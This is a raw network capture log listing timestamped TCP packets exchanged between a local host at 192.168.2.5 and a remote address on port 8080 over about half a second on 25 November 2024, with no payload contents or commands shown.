Nov 25, 2024 11:10:18.756063938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.756176949 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.756230116 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.756956100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.757107019 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.757158041 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.757833958 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.757992029 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.758066893 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.758718967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.758791924 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.758843899 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.759659052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.759701967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.759752035 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.760497093 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.760602951 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.760648966 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.761467934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.761535883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.761586905 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.762392998 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.762511969 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.762562037 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.763274908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.763367891 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.763413906 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.764079094 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.764178038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.764226913 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.764974117 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.765125990 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.765177965 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.765815020 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.807758093 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.870409012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.870434999 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.870498896 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.870865107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.871047020 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.871098995 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.871716976 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.871854067 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.871906042 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.872628927 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.872734070 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.872786045 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.873501062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.873613119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.873661041 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.874385118 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.874490023 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.874536037 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.875264883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.875350952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.875391006 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.899369001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.899485111 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.899543047 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.899732113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.899823904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.899864912 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.900588036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.900741100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.900791883 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.901480913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.901638031 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.901679039 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.902371883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.902478933 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.902513981 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.903300047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.903664112 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.903707981 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.904139996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.904252052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.904308081 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.904992104 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.905114889 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.905153036 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.905950069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.906074047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.906121016 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.906819105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.906913042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.906961918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.926532984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.926734924 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.926796913 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.926868916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.927052021 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.927095890 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.927742958 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.927849054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.927933931 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.928654909 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.928853035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.928900003 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.929521084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.929591894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.929641962 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.930469990 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.930582047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.930624962 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.931277990 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.931417942 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.931462049 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.932167053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.932406902 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.932496071 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.933068037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.933211088 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.933259964 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.933967113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.934094906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.934135914 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.934876919 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.934999943 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.935045004 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.935744047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.935897112 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.935944080 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.936695099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.936901093 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.936938047 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.937545061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.937807083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.937841892 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.938415051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.938555002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.938585997 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.939369917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.939513922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.939553976 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.940215111 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.940305948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.940357924 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.941056967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.941165924 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.941210032 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.941932917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.942039967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.942081928 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.942840099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.943000078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.943039894 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.943718910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.943830013 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.943869114 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.944592953 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.944705963 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.944742918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.945533991 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.945672989 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.945717096 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.946400881 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.946492910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.946553946 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.947292089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.947324038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.947365046 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.948139906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.948252916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.948296070 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.949032068 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.949155092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.949198961 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.949951887 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.950223923 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.950267076 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.950828075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.951036930 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.951075077 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.951670885 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.951795101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.951833010 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.952570915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.952687025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.952728033 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.953459978 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.953618050 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.953660965 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.954335928 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.954466105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.954509020 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.955250978 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.955358028 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.955404043 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.956103086 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.956216097 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.956259966 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.956984997 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.957109928 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.957153082 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.957874060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.010839939 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.062586069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.062658072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.062722921 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.063018084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.063144922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.063190937 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.063901901 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.064053059 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.064116955 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.064819098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.064968109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.065018892 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.065685034 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.065795898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.065843105 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.066611052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.066672087 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.066720009 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.067446947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.067512989 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.067569971 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.091432095 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.091586113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.091753006 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.091788054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.091897964 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.091957092 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.092721939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.092808008 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.092895031 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.093583107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.093702078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.093787909 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.094468117 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.094594955 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.094675064 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.095346928 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.095453978 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.095504999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.096223116 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.096339941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.096401930 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.097168922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.097820044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.097878933 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.098165035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.098377943 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.098440886 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.099132061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.099226952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.099271059 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.119038105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.119122028 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.119182110 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.119409084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.119606972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.119654894 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.120302916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.120397091 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.120452881 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.121189117 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.121306896 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.121417046 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.122052908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.122180939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.122230053 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.122924089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.123038054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.123083115 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.123949051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.123996973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.124058962 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.124703884 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.124866962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.124917984 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.125588894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.125696898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.125754118 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.126487017 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.126614094 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.126696110 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.127384901 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.127515078 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.127583981 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.128267050 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.128375053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.128431082 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.129205942 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.129286051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.129373074 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.130091906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.130179882 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.130254030 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.130934954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.131042004 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.131093979 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.131822109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.131906033 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.131999969 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.132697105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.132795095 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.132846117 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.133608103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.133750916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.133812904 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.134607077 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.134727001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.134768963 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.135374069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.135504961 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.135581970 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.136229992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.136342049 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.136389971 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.137108088 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.137240887 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.137284040 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.138008118 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.138120890 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.138176918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.138916969 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.139024973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.139086008 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.139786959 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.139889956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.139945030 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.140675068 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.140794039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.140839100 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.141546011 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.141648054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.141690969 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.142424107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.142534971 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.142594099 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:19.143321991 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:19.143441916 CET	8080	49705	43.199.41.35	192.168.2.5
